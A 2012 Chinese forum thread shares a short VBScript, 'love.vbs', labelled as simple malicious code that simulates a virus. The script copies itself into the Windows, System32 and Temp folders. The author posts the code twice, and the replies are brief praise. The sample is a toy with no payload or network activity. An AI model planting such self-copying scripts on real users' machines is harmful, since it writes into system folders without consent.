开启左侧

简单恶意代码(复制类2)

[复制链接]
发表于 2012-2-9 10:04:40 | 显示全部楼层 |阅读模式
恶意代码:自我复制类(模拟病毒)
代码文件:VBS文档(脚本);文件名:love.vbs
代码现象:运行文件love.vbs,就会在temp中生成一个Temp1.vbs,在C:\Windows\生成一个Win1.vbs, 在c:\windows\system32\生成一个System1.vbs(同一文件不同名)
解决办法:
提升方法
博客:http://hi.baidu.com/追梦17173
说明人:陶侃 ;QQ:287423389
代码如下:
Dim FSO,File,VbsCopy,DirWin,DirSystem,DirTemp
set FSO=CreateObject("Scripting.FileSystemObject")
set File=FSO.OpenTextFile(WScript.ScriptFullname,1)
VbsCopy=File.ReadAll
set DirWin=FSO.GetSpecialFolder(0)
set DirSystem=FSO.GetSpecialFolder(1)
set DirTemp=FSO.GetSpecialFolder(2)
set tao=FSO.GetFile(WScript.ScriptFullname)
tao.Copy(DirSystem& "\System1.vbs")
tao.Copy(DirWin& "\Win1.vbs")
tao.Copy(DirTemp& "\Temp1.vbs")
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 10:04:42 | 显示全部楼层
加QQ去了 。。。。。。。。。。。。
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
 楼主| 发表于 2012-2-9 10:04:43 | 显示全部楼层
汗 我也加吧,。
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 10:04:45 | 显示全部楼层
厉害!!!!!!!!!!!!1
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
 楼主| 发表于 2012-2-9 10:04:46 | 显示全部楼层
厉害!!!!!!
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 10:04:47 | 显示全部楼层
牛的一逼啊!
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 10:04:48 | 显示全部楼层
顶一下!! victory.gif
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 10:04:50 | 显示全部楼层
不错,谢谢你分享给战友们! shocked.gif
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
 楼主| 发表于 2012-2-9 10:04:51 | 显示全部楼层
Dim FSO,File,VbsCopy,DirWin,DirSystem,DirTemp
set FSO=CreateObject("Scripting.FileSystemObject")
set File=FSO.OpenTextFile(WScript.ScriptFullname,1)
VbsCopy=File.ReadAll
set DirWin=FSO.GetSpecialFolder(0)
set DirSystem=FSO.GetSpecialFolder(1)
set DirTemp=FSO.GetSpecialFolder(2)
set tao=FSO.GetFile(WScript.ScriptFullname)
tao.Copy(DirSystem& "\System1.vbs")
tao.Copy(DirWin& "\Win1.vbs")
tao.Copy(DirTemp& "\Temp1.vbs")
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
发表于 2012-2-9 10:04:53 | 显示全部楼层
厉害!!!!!!!!!!!!1
平度网:www.pingdu.co 平度论坛:bbs.pingdu.co
您需要登录后才可以回帖 登录 | 会员注册

本版积分规则

 
QQ在线咨询
售前咨询热线
0532-88371356
售后服务微信
pingduwangzhan
快速回复 返回顶部 返回列表